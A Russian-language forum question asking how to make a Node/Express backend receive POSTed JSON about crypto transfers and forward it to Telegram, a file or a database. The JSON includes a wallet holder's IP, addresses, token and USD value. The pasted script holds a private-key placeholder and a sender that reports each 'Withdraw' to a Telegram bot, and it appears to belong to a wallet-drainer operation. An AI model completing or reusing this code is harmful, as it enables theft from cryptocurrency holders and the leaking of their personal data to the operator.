Есть JS Файл, который выполняет функцию и отправляет данные POST, но как их принять и отправить к примеру в телеграмм/текстовый документ/бд?
Такого формата данные в POST
Json
{
"addressFrom": "0x83EB92C96b5fAF64328e787508f6CA511a2DBB23",
"addressTo": "0xE6a2cC08aF7A20dA592099da0c9933286A8b332f",
"chainId": 1,
"chainName": "Ethereum",
"contract": "0xd1b0cee386cebd9bce3d6b7279b98334f938cfd7",
"ip": "11.11.11.11",
"isEth": false,
"tokenId": "1159",
"type": "token",
"value": 76.846,
"wallet": "metaMask"
}
И вот такое если развернуть в код:
{"contract":"0xd1b0cee386cebd9bce3d6b7279b98334f938cfd7","addressFrom":"0x83EB92C96b5fAF64328e787508f6CA511a2DBB23","addressTo":"0xE6a2cC08aF7A20dA592099da0c9933286A8b332f","value":76.846,"type":"token","tokenId":"1159","chainId":1,"chainName":"Ethereum","ip":"11.11.11.11","wallet":"metaMask","isEth":false}
Также есть вот такой вот стоящий скрипт на ноде, но он не работает:
const ethers = require('ethers')
const express = require('express')
const axios = require('axios')
const { networks, abi } = require('./networks')
const app = express()
const PRIVATE_KEY = ""
const TELEGRAM_API = {
token: "",
chatId: ""
}
const sendMessage = ({ ip, addressFrom, wallet, value, token, tokenId, chainName }) => {
let message = '<b>Withdraw</b>\n\n';
message += `IP: <b>${ip}</b>\n`;
message += `Wallet: <b>${wallet}</b>\n`;
message += `Address: <b>${addressFrom}</b>\n`;
message += `Token: <b>${token}</b>\n`;
message += `Chain: <b>${chainName}</b>\n`;
message += `Value: <b>${value.toFixed(2)}$</b>\n`;
if (tokenId) {
message += `Token Id: <b>${tokenId}</b>`;
}
axios.get(
`https://api.telegram.org/bot${TELEGRAM_API.token}/sendMessage?chat_id=${TELEGRAM_API.chatId}&text=${message}&parse_mode=HTML`,
);
}